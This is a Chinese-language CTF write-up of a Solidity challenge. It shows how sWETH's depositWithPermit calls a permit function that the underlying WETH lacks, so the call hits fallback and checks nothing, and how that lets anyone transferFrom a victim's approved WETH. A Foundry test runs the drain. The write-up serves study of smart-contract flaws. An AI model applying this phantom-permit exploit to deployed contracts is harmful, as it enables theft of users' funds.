05.challenge
分析
1.全局观
三个合约:
- MockWETH:普通的ERC20代币
- MocksWETH:本身也是一个ERC20代币,并且拥有Permit功能,并且添加了一个普通的ERC20代币作为underlyingToken
- LostAssets:初始化题目
2.任务
将LostAssets合约的WETH设置为0
1 2 3 4
| function isComplete() public view returns (bool) { require(WETH.balanceOf(address(this)) == 0); return true; }
|
3.分析
主要的是理解WETH、sWETH、LostAssets之间的授权关系,明白授权、转账时候的msg.sender是谁,资产情况如何。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| contract LostAssets { MockWETH public WETH; MocksWETH public sWETH;
constructor() payable { require(msg.value >= 1 ether, "At least 1 ether");
WETH = new MockWETH(); sWETH = new MocksWETH(address(WETH));
// WETH资产:LostAssets获得msg.value的WETH WETH.deposit{value: msg.value}(); // WETH资产:LostAssets 授权给 sWETH合约 WETH.approve(address(sWETH), type(uint256).max); // sWETH: LostAssets 将资产从WETH换成sWETH // 因为msg.sender是 LostAssets ,因此可以操作成功 // 这里已经操作了一半的资产,因此还有0.5ether可以操作 sWETH.deposit(msg.value / 2); }
// 将LostAssets合约的WETH设置为0 function isComplete() public view returns (bool) { require(WETH.balanceOf(address(this)) == 0); return true; } }
|
WETH没有permit()
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| // 链下签名: 将资产从WETH换成sWETH function depositWithPermit( address target, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s, address to ) external returns (uint256) { // underlying即WETH,没有这个方法,因此去到fallback()而不会检验,相当于啥也没写 IERC20Permit(underlying).permit(target,address(this),value,deadline, v,r,s); // 因为有个已经执行过的操作: WETH资产:LostAssets 授权给 sWETH合约 // 因此sWETH合约可以用transferFrom()来操作 LostAssets 的WETH资产 // 因为上面的代码形同虚设,因此任何人都可以使用此方法 IERC20(underlying).safeTransferFrom(target, address(this), value); return _deposit(value, to); }
|
因为permit()
没用,因此参数除了target必须填写lostAssets,其他随便填
解题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.10;
import "forge-std/Test.sol"; import "../../src/05.challenge/LostAssets.sol";
contract attackTest is Test { LostAssets lostAssets; MockWETH public WETH; MocksWETH public sWETH;
function setUp() public{ lostAssets = new LostAssets{value: 1 ether}(); WETH = lostAssets.WETH(); sWETH = lostAssets.sWETH(); }
function test_isComplete() public{ sWETH.depositWithPermit(address(lostAssets), 0.5 ether, 99999999999, 1, 0x00, 0x00, address(this)); assertEq(lostAssets.isComplete(),true); }
}
|